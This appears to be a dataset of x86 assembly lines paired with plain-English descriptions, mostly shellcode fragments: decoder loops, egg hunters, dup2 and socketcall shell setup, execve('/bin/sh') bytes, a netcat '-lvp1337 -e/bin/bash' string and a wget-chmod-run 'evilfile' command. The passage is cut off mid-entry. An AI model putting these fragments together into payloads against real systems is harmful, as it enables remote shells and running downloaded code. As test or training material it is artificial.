jump short to main jmp short output perform a short unconditional jump to output label jmp short output jump short to the output label jmp short path jump short to the path label jmp short process_shellcode perform a short unconditional jump to process_shellcode jmp short process_shellcode jump short to the process_shellcode label jmp short push_cmd perform a short unconditional jump to push_cmd label jmp short push_cmd jump short to push_cmd jmp short push_cmd jump short to the push_cmd label jmp short read perform an unconditional short jump to read_label jmp short read perform an unconditional short jump to read label jmp short read jump short to the read label jmp short rotate perform an unconditional short jump to _rotate label jmp short rotate jump short to the rotate label jmp short search jump short to the search label jmp short setup perform an unconitional short jump to _setup label jmp short setup jump short to the setup label jmp short shellcode execute decoded shellcode jmp short shellcode perform a short unconditional jump to _shellcode label jmp short shellcode perform a short unconditional jump to _shellcode jmp short shellcode perform a short unconditional jump to shellcode jmp short shellcode jump short to the shellcode label jmp short shellcode jump short to shellcode jmp short shellcode_section go to shellcode_section jmp short stage perform a short unconditional jump to _stage label jmp short stage jump short to stage jmp short stage jump short to the stage label jmp short switch perform an unconditional short jump to _switch label jmp short switch jump short to switch jmp short three perform a short unconditional jump to _three label jmp short three jump short to the three label jmp short todo perform a short unconditional jump to todo_label jmp short todo jump short to the todo label jmp short two perform an unconditional short jump to two_label jmp short two perform a short unconditional jump to _two label jmp short two jump short to the two label jmp two perform an unconditional jump to _two label jmp two jump to two jmp two jump to the two label jmp zero10 go to _zero10 label jmp zero11 go to _zero11 label jmp zero12 go to _zero12 label jmp zero13 go to _zero13 label jmp zero14 go to _zero14 label jmp zero15 go to _zero15 label jmp zero16 go to _zero16 label jmp zero17 go to _zero17 label jmp zero18 go to _zero18 label jmp zero19 go to _zero19 label jmp zero1a go to _zero1a label jmp zero1b go to _zero1b label jmp zero1c go to _zero1c label jmp zero1d go to _zero1d label jmp zero1e go to _zerp1e label jmp zero2 go to _zero2 label jmp zero3 go to _zero3 label jmp zero4 go to _zero4 label jmp zero5 go to _zero5 label jmp zero6 go to _zero6 label jmp zero7 go to _zero7 label jmp zero8 go to _zero8 label jmp zero9 go to _zero9 label jmp zeroa go to _zeroa label jmp zerob go to _zerob label jmp zeroc go to _zeroc label jmp zerod go to _zerod label jmp zeroe go to _zeroe label jmp zerof go to _zerof label jmp_search: define the jmp_search label jnc 0x86 jump to 0x86 if the carry flag is zero jnc 0xd8 jump to 0xd8 it the carry flag is zero jne _end+0x5f if the zero flag is clear go to adress _end+0x5f jne _nex if not equal jump to the _nex label jne _next jump to the _next label if the operands of the above comparison are not equals jne 804809a jump to 804809a if not equal jne 80480aa jump to 80480aa if not equal jne checkbuzz if the remainder is not equal to zero jump to local label checkbuzz jne checkint if the remainder is not equal to zero jump to local label checkint jne decode_insertion if the zero flag is clear jump to decode insertion label jne encoded if the zero flag is clear jump to _encoded label jne encodedshellcode if the zero flag is clear go to _encodedshellcode label jne loop jump to the address specified by the label loop if the operands are not equals in the previous comparison jne next_addr jump to the next_addr label if the operands of the above comparison are not equals jne nextnumber if not equal jump to the label nextnumber jne no_error jump to the label no_error if not equal jne retry jump to retry if not equal jne short _while_loop if not equal jump short to the _while_loop jne short _while_loop jump to the _while_loop label if the operands of the above comparison are not equals jno insertion_decoder+0xc if the overflow flag is clear go to the adress insertion_decoder+0xc jns _dup2_loop as long as sf is not set, jump to _dup2_loop label jns _dup2_loop jump to the _dup2_loop label if the previous instruction clears the sign flag jns 2f jump to 2f if the sign flag is zero jns 3f jump to 3f if the sign flag is zero jns decode_pr jump to decode_pr if not signed jns dup2 as long as sf iss not set, jump to _dup2 label jns dup2 jump to dup2 if not negative jns dup2 jump to the dup2 label if the previous instruction clears the sign flag jns dup2loop jump back to the dup2loop procedure until ecx equals 0. jns duploop as long as sf iss not set, jump to _duploop label jns duploop jump to duploop if not negative jns duploop jump to the duploop label if the previous instruction clears the sign flag jns loop jump to loop_label if the sign flag is clear jns loop if sf not set jump to _loop label jns loop jump to _loop label if the sign flag is clear jns loop if sf not set, ecx not negative so continue looping jns loop if ecx is not inferior to 0 go to _loop label jns loop as long as sf is not set, jump to _loop label jns loop jump to the loop label if the previous instruction clears the sign flag jns loop_dup jump to loop_dup label if the sign flag is clear jns loop2 as long as sf is not set, jump to _loop2 label jns loopinghere loop as long sign flag is not set jns loopinghere jump to the loopinghere label if the previous instruction clears the sign flag jnz _start jump to the _start label if the zero flag is cleared jnz 0x41 jump to 0x41 if not zero jnz 0x8 jump to 0x8 if not zero jnz 1 if not zero jump to numeric label 1 jnz 1 jump to the numeric label 1 if the zero flag is cleared jnz decode jump to _decode label if flag zero is equal to 0 jnz decode jump to the decode label if the zero flag is cleared jnz dup2 jump to dup2 if flag zero is equal to 0 jnz exeunt jump to exeunt if not zero jnz exit_on_error jump to exit_on_error label if flag zero is equal to 0 jnz exit_on_error jump to the exit_on_error label if the zero flag is cleared jnz incaddr if no match go to incaddr jnz incaddr jump to incaddr if not equal jnz incaddr jump to incaddr if no match jnz l00p jump to the l00p label if the zero flag is cleared jnz loop jump to loop_label if flag zero is equal to 0 jnz loop go to _loop label if flag zero is not set jnz loop jump to loop if not equal to zero jnz loop jump to the loop label if the zero flag is cleared jnz next_addr jump to next_addr if not zero jnz next_cycle if not zero jump to the next_cycle label jnz next_cycle jump to the next_cycle label if the zero flag is cleared jnz scan if not 0 then jump to the scan label jnz short _paren if not zero jump short to the _paren label jnz short _parent jump short to the _parent label if the zero flag is cleared jnz short decode jump short to decode if not zero jnz short decode jump short to the decode label if the zero flag is cleared jnz short loc_4010e5 if not zero jump to loc_4010e5 jnz stage jump to the stage label if the zero flag is cleared jnz top if not 0 then jump to the top label jocker: define _jocker label jocker: declare the jocker label js error jump to error label if sign flag SF is equal to 1 jz _close jump to the label _close if the zero flag is set jz _read jump to the label _read if the zero flag is set jz _start jump to the _start label if the zero flag is set jz 0x8 jump to 0x8 if zero jz call_decoded jump to the call_decoded label if the zero flag is set jz child if zero jump to the child label jz child jump to child if zero jz child jump to label child if the zero flag is set jz child jump to the child label if the zero flag is set jz decoded_shellcode if zero jump to decoded_shellcode jz decoded_shellcode jump to decoded if zero jz download jump to download if zero jz download jump to the download label if the zero flag is set jz encoded if zero jump to the encoded label jz encoded jump to the encoded label if the zero flag is set jz exit jump to the exit label if the zero flag is set jz find_egg jump to find_egg if zero jz find_egg jump to the find_egg label if the zero flag is set jz finished jump to the point in the code labeled finished if zero jz formatting if zero jump to the formatting label jz formatting jump to the formatting label if the zero flag is set jz incpage skip page if it returned efault jz incpage jump to incpage if equal jz next_cycle if zero jump to the next_cycle label jz next_cycle jump to the next_cycle label if the zero flag is set jz next_page jump to next_page if zero jz nomoreargs if zero flag is set jump to nomoreargs label jz shift_decode if zero jump to the shift_decode label jz shift_decode jump to the shift_decode label if the zero flag is set jz short loc_402b13 if 0 then jump to loc_402b13 key equ 0xdeadbeef declare key variable euqal to the value 0xdeadbeef key equ 0xdeadbeef define key constant equal to 0xdeadbeef l00p: declare the l00p label L1: \n call [esp] in L1 call the stack L1: \n jmp short esp in L1 jump short to esp L1: \n jmp short L2 define L1 label and jump short to L2 L2: \n call [esp] declare L2 label and call the function pointed by the stack L2: \n jmp L3 define L2 label and jump to L3 label L2: \n jmp short esi define L2 and jump short to esi L3: \n call [esp] declare L3 and jump to the shellcode L3: \n jmp edi define the label L3 and jump to edi L3: \n jmp short L4 define L3 and jump short to L4 label L4: \n call [esp] declare L4 and jump to the shellcode L4: \n jmp short esp in L4 jump short to the stack pointer L5: \n call [esp] in L5 jump to the shellcode L5: \n jmp esp define the label L5 and jump to the location pointed by the stack pointer lea bx, [bp+0x08] load the effective address of the operation [bp+0x08] into the bx register lea bx, [bp+0x0b] load the effective address of the operation bp+0x0b] into the bx register lea cx, [bp+di+0x32] load the effective address of the operation [bp+di+0x32] into the cx register lea dx, [bp+di+0x3e] load the effective address of the operation [bp+di+0x3e] into the dx register lea eax, [ebx+0xf] load the address of the variable at the address ebx+0xfinto eax register lea eax, [ebx+0xf] load the effective address of the result of the operation [ebx+0xf] into the eax register lea eax, [ebx+17h] load the effective address of the result of the operation [ebx+17h] into the eax register lea eax, [ebx+8] put the address of ebx+8 into eax lea eax, [ecx+0bh] load the effective address of the result of the operation [ecx+0bh] into the eax register lea eax, [ecx+4] load the effective address of the result of the operation [ecx+4] into the eax register lea eax, [esi] point eax to the start of the shellcode lea eax, [esi+1] point eax to the next byte of the shellcode lea eax, [val] place the value val in eax lea eax, [var] place the address of var in eax lea eax, [var] place the value in var in eax lea eax, [zero_reg+3] load the effective address [zero_reg+3] into eax lea eax, [zero_reg+3] load the effective address of the result of the operation [zero_reg+3] into the eax register lea eax, [zero_reg+6] load the effective address [zero_reg+6] into eax lea eax, [zero_reg+6] load the effective address of the result of the operation [zero_reg+6] into the eax register lea eax, [zero_reg+66h] load the effective address [zero_reg+66h] into eax lea eax, [zero_reg+66h] load the effective address of the result of the operation [zero_reg+66h] into the eax register lea eax,[ebx+0xb] load the effective address of the operation [ebx+0xb] into the eax register lea ebp,[ebp+0x59] load the effective address of the operation [ebp+0x59] into the ebp register lea ebx, [ebp-8] load the effective address [ebp-8] into ebx lea ebx, [ebp-8] load the effective address of ebp-8 into the ebx register lea ebx, [ebp+24] load the effective address [ebp+24] into ebx lea ebx, [ebp+24] load the effective address of the result of the operation [ebp+24] into the ebx register lea ebx, [ebp+39] load the effective address [ebp+39] into ebx lea ebx, [ebp+39] load the effective address of the result of the operation [ebp+39] into the ebx register lea ebx, [edx+0x4] copy the adress of the varable at location edx+0x4 into ebx register lea ebx, [edx+0x4] load the effective address of edx+0x4 into ebx lea ebx, [esi] put address of string -> ebx lea ebx, [esi] load the effective address of esi into the ebx register lea ebx, [esi] point ebx to the start of the shellcode lea ebx, [esi+1] point ebx to the next byte of the shellcode lea ebx, [esi+13] load the effective address of the result of the operation [esi+13] into the ebx register lea ebx, [esi+14] load address of -lvp1337 in ebx lea ebx, [esi+14] load the effective address of the result of the operation [esi+14] into the ebx register lea ebx, [esi+15] load the effective address [esi+15] into ebx lea ebx, [esi+15] load the effective address of the result of the operation [esi+15] into the ebx register lea ebx, [esi+23] load address of -e/bin/bash into ebx lea ebx, [esi+23] load the effective address of the result of the operation [esi+23] into the ebx register lea ebx, [esp +1] load the effective address [esp+1] into ebx lea ebx, [esp +1] load the effective address of the result of the operation [esp +1] into the ebx register lea ebx, [esp] load stack pointer to ebx lea ebx, [esp] save esp address into ebx register lea ebx, [esp] load the effective address of esp into ebx lea ebx, [esp] load the effective address of esp into the ebx register lea ebx, [zero_reg+3] load the effective address [zero_reg+3] into ebx lea ebx, [zero_reg+3] load the effective address of the result of the operation [zero_reg+3] into the ebx register lea ebx,[esi] load the address of esi into ebx register lea ecx, [eax] copy the address of eax in ecx lea ecx, [eax] load the effective address of the result of the operation [eax] into the ecx register lea ecx, [ebp+28] load the effective address [ebp+28] into ecx lea ecx, [ebp+28] load the effective address of the result of the operation [ebp+28] into the ecx register lea ecx, [ebx+0xff] load the value of ebx+0xff into register ecx lea ecx, [ebx+8] load the effective address of ebx+8 into ecx lea ecx, [esi + 8] load the adress esi+8 into ecx register lea ecx, [esi + 8] load the effective address of the result of the operation [esi + 8] into the ecx register lea ecx, [esi] point ecx to the start of the shellcode lea ecx, [esi+1] point ecx to the next byte of the shellcode lea ecx, [esi+18] load the effective address [esi+18] into ecx lea ecx, [esi+18] load the effective address of the result of the operation [esi+18] into the ecx register lea ecx, [esi+22] load the effective address of the result of the operation [esi+22] into the ecx register lea ecx, [esi+35] load address of ptr to argv[] array into ecx register lea ecx, [esi+35] load the effective address of the result of the operation [esi+35] into the ecx register lea ecx, [esi+8] load the effective address of the result of the operation [esi+8] into the ecx register lea ecx, [esp] load stack pointer to ebx lea ecx, [esp] load esp address into ecx register lea ecx, [esp] load the effective address of esp into the ecx register lea ecx, [zero_reg+117] load the effective address [zero_reg+117] into ecx lea ecx, [zero_reg+117] load the effective address of the result of the operation [zero_reg+117] into the ecx register lea ecx, [zero_reg+3] load the effective address [zero_reg+3] into ecx lea ecx, [zero_reg+3] load the effective address of the result of the operation [zero_reg+3] into the ecx register lea ecx,[esi+0xc] load the address esi+0xc into ecx register lea edi, [ebx] load the effective address [ebx] into edi lea edi, [ebx] load the effective address of ebx into the edi register lea edi, [ebx+4*esi] place the value ebx+4*esi in edi lea edi, [ebx+4*esi] place the quantity ebx+4*esi in edi lea edi, [edi + 2] load the address of edi+2 into edi lea edi, [edi +8] make edi point to rot_value lea edi, [esi + 13] put the byte in the address esi+13 in edi regsiter. lea edi, [esi + 13] load the effective address of the result of the operation [esi + 13] into the edi register lea edi, [esi + 13] load the address at esi + 13 into edi lea edi, [esi +1] transfer the second character pointed from esi to edi lea edi, [esi +1] load the effective address of [esi + 1] into the edi register lea edi, [esi] copy the address of esi in edi lea edi, [esi] load the effective address [esi] into edi lea edi, [esi] load the address of esi into edi lea edi, [esi] point edi to the start of the shellcode lea edi, [esi] load the contents of esi into edi lea edi, [esi+0x1] load the address of esi+0x1 into edi lea edi, [esi+1] point edi to the next byte of the shellcode lea edi, [esi+13] load the effective address of esi+13 into esi+13 lea edi,[esi] copy the address of esi into edi register lea edi,[esi+0x1] copy the adress a tesi+0x1 into edi register lea edx, [ebx+12] load the effective address of ebx+12 into edx lea edx, [esi + 12] load the adress esi+12 into edx register lea edx, [esi + 12] load the effective address of the result of the operation [esi + 12] into the edx register lea edx, [esi] point edx to the start of the shellcode lea edx, [esi+1] point edx to the next byte of the shellcode lea edx, [esi+26] load the effective address [esi+26] into edx lea edx, [esi+26] load the effective address of the result of the operation [esi+26] into the edx register lea edx, [esi+30] load the effective address of the result of the operation [esi+30] into the edx register lea edx, [esi+47] load address of ptr to envp[] null into edx register lea edx, [esi+47] load the effective address of the result of the operation [esi+47] into the edx register lea edx,[esi+0x10] load the address esi+0x10 into edx register lea esi, [ebp+20] load the effective address [ebp+20] into esi lea esi, [ebp+20] load the effective address of the result of the operation [ebp+20] into the esi register lea esi, [edi + 8] transfer the eighth character pointed by edi to esi lea esi, [edi +16] make esi register point to shellcode lea esi, [edi +8] make esi point to shellcode that contains previous xorÕed results lea esi, [esi +4] load the effective address of the result of the operation [esi +4] into the esi register lea esi, [esi+2] load the effective address of esi+2 into esi lea esi, [esi+4] load the effective address [esi+4] into esi lea esp, [ebx] load the value of register ebx into register esp lea rdi, [rsp] load the address of the string that is on the stack into rsi len equ $ - msg define len equal to the length of msg len equ $-encodedshellcode define len equal to the lenght of the encodedshellcode array len: equ $-encodedshellcode variable for the lenght of the encoded shellcode len: equ $-google "define len = size of db ""127.1.1.1 google.com""" len: equ $-google declare the len label equal to the size of the google variable len: equ $-shellcode define lenght of shellcode, len len: equ $-shellcode declare the len label equal to the length of shellcode les esp,fword ptr [ebx] loads 32-bit pointer from ebx to esp and fs regster letter_c db 'c' allocate a single byte of memory and initialize it to the letter 'c' line db '/usr/bin/wget http://127.0.0.1:8080/evilfile && /bin/chmod 777 evilfile && ./evilfile', 0x0a define line as the byte string '/usr/bin/wget http://127.0.0.1:8080/evilfile && /bin/chmod 777 evilfile && ./evilfile', 0x0a "line db ""/usr/bin/wget http://127.0.0.1:8080/evilfile && /bin/chmod 777 evilfile && ./evilfile"", 0x0a" "jump to the _exec label after entering the address of the string """"/usr/bin/wget http://127.0.0.1:8080/evilfile && /bin/chmod 777 evilfile && ./evilfile"", 0x0a"" at the top of the stack" loader: define _loader loader: declare the loader label lods al,byte ptr ds:[esi] transfers string element addressed by esi regoster into al register loop .3 decrement the counter and jump to .3 label if the count is not zero loop 3 decrement ecx and jumps to the 3 label unless decrementing ecx caused its value to become zero loop bucle decrement the ecx register and jump to the bucle label if the counter is not zero loop check_even_odd loop check_even_odd using ecx for counter loop check_even_odd decrement the count register and jump to check_even_odd if the count is not equal to zero loop check_even_odd \n jmp short shellcode decrease the counter and jump to check_even_odd if not zero else jump short to shellcode loop check_even_odd \n jmp short shellcode decrement the ecx register and jump to the check_even_odd label if the contents of the ecx register is not zero else jump short to the shellcode label loop decode loop decode loop decode start loop decode loop decode loop deocde loop decode loop while zero flag not set loop decode decode current byte loop decode decrement ecx and jumps to the decode label unless decrementing ecx caused its value to become zero loop decode decrement the count register and jump to decode if not equal zero loop decode decrease the counter and jump to decode if not zero loop decode \n jmp edx decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump to the edx register loop decode \n jmp edx decrement the counter and jump to decode if not zero else jump to edx loop decode \n jmp EncodedShellcode decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump to the EncodedShellcode label loop decode \n jmp encodedshellcode decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump short to the encodedshellcode label loop decode \n jmp Shellcode decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump to the Shellcode label loop decode \n jmp shellcode decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump short to the shellcode label loop decode \n jmp shellcode decrement the counter and jump to decode routine if it is not zero else jump to shellcode label loop decode \n jmp short encodedshellcode decrement the counter and jump to the decode label if it is not zero else jump short to the encodedshellcode label loop decode \n jmp short shellcode decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump short to the shellcode label loop decode \n jmp short shellcode decrease the counter and jump to decode if not zero else jump short to shellcode loop decode_loop \n jmp short encoded_shellcode decrement the counter and if it is not zero go back at decode_loop and execute the cicle again else jump to encoded_shellcode loop decrypt decrement the count register and jump to _decrypt if not equal zero loop decrypt decrement ecx and jumps to the decrypt label unless decrementing ecx caused its value to become zero loop decrypt \n jmp encrypt decrement the ecx register and jump to the decrypt label if the contents of the ecx register is not zero else jump short to the encrypt label loop do_dup decrement ecx and jumps to the do_dup label unless decrementing ecx caused its value to become zero loop do_dup decrement the counter and jump to the do_dup label if the count is not zero loop do_dup \n push byte 0x3f decrement the ecx register and jump to the do_dup label if the contents of the ecx register is not zero else push the byte 0x3f onto the stack loop eggLoop \n jmp edi decrement the ecx register and jump to the eggLoop label if the contents of the ecx register is not zero else jump to the edi register loop fill decrement ecx and jumps to the fill label unless decrementing ecx caused its value to become zero loop fill decrement the counter and jump to the fill label if the count is not zero loop fill \n mov ecx, esp decrement the ecx register and jump to the fill label if the contents of the ecx register is not zero else move the contents of the esp register into the ecx register loop l1 \n mov eax, esp decrement the ecx register and jump to the l1 label if the contents of the ecx register is not zero else move the contents of the esp register into the eax register loop l1 \n mov eax, esp decrement the ecx register and jump to the l1 label if the contents of the ecx register is not zero else point the eax register to the stack register loop l2 \n jmp edi decrement the ecx register and jump to the l2 label if the contents of the ecx register is not zero else jump to the edi register loop l2 \n mov ebx, esp decrement the ecx register and jump to the l2 label if the contents of the ecx register is not zero else move the contents of the esp register into the ebx register loop l2 \n mov ebx, esp decrement the ecx register and jump to the l2 label if the contents of the ecx register is not zero else point the ebx register to the stack register loop l3 \n mov ecx, esp decrement the ecx register and jump to the l3 label if the contents of the ecx register is not zero else move the contents of the esp register into the ecx register loop l3 \n mov ecx, esp decrement the ecx register and jump to the l3 label if the contents of the ecx register is not zero else point the ecx register to the stack register loop l4 \n mov edx, esp decrement the ecx register and jump to the l4 label if the contents of the ecx register is not zero else move the contents of the esp register into the edx register loop l4 \n mov edx, esp decrement the ecx register and jump to the l4 label if the contents of the ecx register is not zero else point the edx register to the stack register loop main_inc decrement ecx and jumps to the main_inc label unless decrementing ecx caused its value to become zero loop main_inc \n mov ebx, esp decrement the ecx register and jump to the main_inc label if the contents of the ecx register is not zero else move the contents of the esp register into the ebx register loop main_inc \n mov ebx, esp decrement the ecx register and jump to the main_inc label if the contents of the ecx register is not zero else point the ebx register to the stack register loop main_loop decrement the counter and jump to the main_loop label if the count is not zero loop main_push decrement ecx and jumps to the main_push label unless decrementing ecx caused its value to become zero loop main_push \n mov cl, 30 decrement the ecx register and jump to the main_push label if the contents of the ecx register is not zero else move the value 30 into the cl register loop rot_decode loop 4 times loop ROT_decode \n jmp short Shellcode decrement the ecx register and jump to the ROT_decode label if the contents of the ecx register is not zero else jump short to the Shellcode label loop up decrement ecx and jumps to the up label unless decrementing ecx caused its value to become zero loop xor_decode loop 4 times loop_dup: define _loop_dup label loop: declare loop_label loop: define _loop_label loop: define _loop label loop: declare the loop label loop: define the loop label loop2: define _loop2 label loopinghere: define _ loopinghere label loopinghere: declare the loopinghere label loopnz decode decrement ecx and jumps to the decode label if the contens of ecx is not zero and the zero flag is set to zero loopnz L1 decrement the counter and jump to the L1 label if the count is not zero and the zero flag is equal to zero loopnz L1 \n jmp shellcode decrement the ecx register and jump to the L1 label if the contents of the ecx register is not zero and the zero flag is zero else jump to the shellcode label loopnz L2 decrement the counter and jump to the L2 label if the count is not zero and the zero flag is set to zero loopnz L2 \n push eax decrement the ecx register and jump to the L2 label if the contents of the ecx register is not zero and the zero flag is zero else push the contents of the eax register onto the stack loopnz L3 \n mov edx, 7 decrement the ecx register and jump to the L3 label if the contents of the ecx register is not zero and the zero flag is zero else move the value 7 into the edx register loopnz Label1 decrement ecx and jumps to the Label1 label if the contents of the ecx register is not zero and the zero flag is equal to zero loopnz next decrement ecx and jumps to the next label if ecx is not zero and the zero flag is equal to zero loopnz next \n jmp ecx decrement the ecx register and jump to the next label if the contents of the ecx register is not zero and the zero flag is zero else jump to the ecx register loopnz next2 \n jmp edi decrement the ecx register and jump to the next2 label if the contents of the ecx register is not zero and the zero flag is zero else jump to the edi register lowbound: lowbound label main_inc: declare the main_inc label main_inc: create label main_inc main_loop: define main_loop label main_push: create label main_push main_push: declare the main_push label main: define main_label main: declare the main label main: main function main: create main label main: define main label marks dw 0, 0, 0, 0 allocate memory for the marks array of words and initialize all elements to zero matrix qw 12*10 allocate memory for a 12*10 quad-bytes matrix me: declare the me label me: define me label message db '/bin/sh' define message byte and initialize it to '/bin/sh' message db '/bin/sh' define message as the byte string '/bin/sh' message db '/etc/passwd' define the string message and initialize it to '/etc/passwd' message db '/etc/passwd' define message as the byte string '/etc/passwd' message db 'hello',13,0 allocate memory for a null terminated string 'hello\n' message: declare message_label message: db 'hello world!' declare message to contain the bytes 'hello world!' message: db 0xeb,0x25,0x5e,0x89,0xf7,0x31,0xc0,0x50,0x89,0xe2,0x50,0x83,0xc4,0x03,0x8d,0x76,0x04,0x33,0x06,0x50,0x31,0xc0,0x33,0x07,0x50,0x89,0xe3,0x31,0xc0,0x50,0x8d,0x3b,0x57,0x89,0xe1,0xb0,0x0b,0xcd,0x80,0xe8,0xd6,0xff,0xff,0xff,0x2f,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68 define message as array of bytes and initialize it to 0xeb,0x25,0x5e,0x89,0xf7,0x31,0xc0,0x50,0x89,0xe2,0x50,0x83,0xc4,0x03,0x8d,0x76,0x04,0x33,0x06,0x50,0x31,0xc0,0x33,0x07,0x50,0x89,0xe3,0x31,0xc0,0x50,0x8d,0x3b,0x57,0x89,0xe1,0xb0,0x0b,0xcd,0x80,0xe8,0xd6,0xff,0xff,0xff,0x2f,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68 mov [1000h], ax move the value of ax into memory at address 1000h mov [bp+0x07], al move the contents of the al register at the memory location specified by the operation [bp+0x07] mov [bp+0x0a], al move the contents of the al register at the memory location specified by the operation [bp+0x0a] mov [bp+0x31], al move the contents of the al register at the memory location specified by the operation [bp+0x31]] mov [bp+0x32], si move the contents of the si register at the memory location specified by the operation [bp+0x32] mov [bp+0x36], bx move the contents of the bx register at the memory location specified by the operation [bp+0x36] mov [bp+0x3a], bx move the contents of the bx register at the memory location specified by the operation [bp+0x3a] mov [bp+0x3e], ax move the contents of the ax register at the memory location specified by the operation [bp+0x3e] mov [ebp-4], edi move edi into the local memory address ebp-4 mov [ebp+12], ecx move ecx into the address [ebp+12] mov [ebp+12], ecx move the contents of ecx into the memory location specified by the operation [ebp+12] mov [ebp+20], zero_reg move the contents of zero_reg into the memory location specified by the operation [ebp+20] mov [ebp+20], zero_reg move zero_reg into the address [ebp+20] mov [ebp+22], word ax move the word at the address ax into [ebp+22] mov [ebp+22], word ax move the word in ax into the memory location specified by the operation [ebp+22] mov [ebp+var_a], eax move the contents of eax into address defined by ebp+var_a mov [ebx + 6], dl save dl content into the space memory at the adress ebx + 6 mov [ebx + 6], dl move dl into the address [ebx + 6] mov [ebx], 110 move 110 into the effective address saved in ebx mov [ebx], 123 move 123 into the effective address saved in ebx mov [ebx+0xe], dl copy dl content into memory space at the address ebx + 0xe mov [ebx+0xe], dl move dl into the address [ebx+0xe] mov [ebx+12], eax move eax into ebx+12 mov [ebx+7], al move al into ebx+7 mov [ebx+8], ebx move ebx into ebx+8 mov [ecx], 25 move 25 decimal into the memory address ecx mov [ecx+4], eax zero out [ecx+4] mov [ecx+4], eax move eax into the address [ecx+4] mov [edi], al copy al content into edi register mov [edi], al move decoded byte to edi mov [edi], al move the contents of the al register into the edi register mov [edi], al move al into the address pointed by edi mov [edi], al move the contents of the al register into the address pointed by edi mov [edi], al move al into edi register mov [esi], al copy al content into esi mov [esi], al move the contents of the al register into the esi register mov [esi], al swap al value with next byte value in esi mov [esi+13], al move al into the address [esi+13] mov [esi+22], al move al into the address [esi+22] mov [esi+34], al move al into the address [esi+34] mov [esi+35], esi move esi into the address [esi+35] mov [esi+39], ebx move ebx into the address [esi+39] mov [esi+43], ebx move ebx into the address [esi+43] mov [esi+47], eax move eax into the address [esi+47] mov [esi+eax], cl move the contents of cl into the byte at memory address esi+eax mov [esp + 1], cl move cl into the address [esp + 1] mov [esp+4], esp move esp into the address [esp+4] mov [esp+4],esp sets esp as recv buffer mov [esp+57], al move al into the address [esp+57] mov [esp+57],al \n mov [esp+58],ah \n mov [esp+59], ebx save into esp register the syscall command Ôint 0x80 and jump back to _stageÕ mov [esp+58], ah move ah into the address [esp+58] mov [esp+59], ebx move ebx into the address [esp+59] mov [var], ebx move the contents of ebx into the 4 bytes at memory address var mov [var1], eax move the contents of eax into the 4 bytes at memory address var1 mov a_letter, al move al into memory address a_letter mov ah, 0x80 move 0x80 into ah mov al, [byte_tbl+2] move the effective address of byte_tbl+2 to al register mov al, [esi] trasfer esi content into al register mov al, [esi] move the contents of the esi register into the al register mov al, 03h move 03h into al mov al, 03h \n int 80h execute __nr_read syscall mov al, 04h move 04h into al mov al, 04h \n int 80h execute __nr_write syscall mov al, 05h move 05h into al mov al, 05h \n int 80h execute __nr_open syscall mov al, 0x01 move 0x1 into lower byte of the eax register mov al, 0x01 move 0x01 into al mov al, 0x04 move 0x04 into al mov al, 0x05 put the syscall 0x5 into the al register mov al, 0x06 move 0x06 into al mov al, 0x0a move 0x0a into al mov al, 0x0b save execve command in al register mov al, 0x0b move the hexadecimal value 11 in al register mov al, 0x0b copy the execve syscall numebr in al regisster mov al, 0x0b move 0x0b into al mov al, 0x1 move the code of syscall exit in al register mov al, 0x1 load __nr_exit syscall number into al register mov al, 0x1 move the value 0x1 into the al register mov al, 0x1 move 0x1 into lower byte of the eax register mov al, 0x1 \n mov bl, 0x1 save 0x1 into al and bl regsters mov al, 0x1 \n mov bl, 0x1 push hexadecimal value 0x1 into al and bl registers mov al, 0x1 \n mov bl, 0x1 save hexadecimal value 0x1 into al and bl register mov al, 0x17 setuid = 0x17 mov al, 0x17 move 0x17 into al mov al, 0x1f set the offset bytes to point at the end of the program mov al, 0x1f move 0x1f into al mov al, 0x2 load __nr_fork sycall into al register mov al, 0x2 put the syscall 0x2 into the al register mov al, 0x21 move 0x21 into al mov al, 0x21 \n int 0x80 load __nr_access into al register and ping kernel mov al, 0x27 load __nr_alarm into al register mov al, 0x2e save setgid = 0x2e into al register mov al, 0x2e move 0x2e into al mov al, 0x3 copy the value 3 into al register mov al, 0x3 load read syscall number into al register mov al, 0x3 move 0x3 into al mov al, 0x30 move 0x30 into al mov al, 0x33 move 0x33 into al mov al, 0x3b load execve syscall into al register mov al, 0x3f load __nr_dup2 into al register mov al, 0x3f load sys_dup2 into al register mov al, 0x3f load sys call for dup2 into al register mov al, 0x3f move 0x3f into al mov al, 0x3f syscall 63 mov al, 0x3f \n int 0x80 execute sys_dup2 mov al, 0x3f \n int 0x80 load dup2 syscall into al register and execute mov al, 0x4 move the value 0x4 into the al register mov al, 0x4 move 0x4 into al mov al, 0x42 move 0x42 into al mov al, 0x46 load setreuid into al register mov al, 0x46 move 0x46 into al mov al, 0x5 trasfer 5 into al register mov al, 0x5 load open syscall number into al register mov al, 0x5 move the value 0x5 into the al register mov al, 0x5 move 0x5 into al mov al, 0x58 loading syscall value = 0x58 for reboot in al mov al, 0x58 load the syscall value 0x58 for reboot in the al register mov al, 0x6 load __nr_close syscall into al register mov al, 0x6 move 0x6 into al mov al, 0x6 \n int 0x80 close the stream file mov al, 0x66 move the command socketcall in al register mov al, 0x66 move the socketcall in al register mov al, 0x66 put the syscall socketcall in al register mov al, 0x66 move the command socketcall = 102 in al register mov al, 0x66 load __nr_socketcall into al register mov al, 0x66 load syscall sys_socket into al register mov al, 0x66 load __nr_socketcall syscall into al register mov al, 0x66 move socket call number to al register mov al, 0x66 load setsid syscall into al register mov al, 0x66 load socketcall sycall into al register mov al, 0x66 make the socketcall mov al, 0x66 make the systemcall socketcall mov al, 0x66 move 0x66 into al mov al, 0x66 syscall 102 mov al, 0x66 system call socketcall mov al, 0x66 \n int 80h execute setsid mov al, 0x7 move 0x7 into al mov al, 0x8 put the syscall 0x8 into the al register mov al, 0xa2 move 0xa2 into al mov al, 0xb mov 11 into lower byte of eax mov al, 0xb put syscall execve code in al register mov al, 0xb load execve in eax mov al, 0xb set syscall execve mov al, 0xb load __nr_execve syscall number into al register mov al, 0xb load __nr_execve syscall into al regisetr mov al, 0xb load __nr_execve syscall into al register mov al, 0xb load __nr_execve into al register mov al, 0xb load the syscall 11 into al register mov al, 0xb load execve syscall nimber into al register mov al, 0xb execve system call number 11 mov al, 0xb mov 0xb into lower byte of eax mov al, 0xb move 0xb into al mov al, 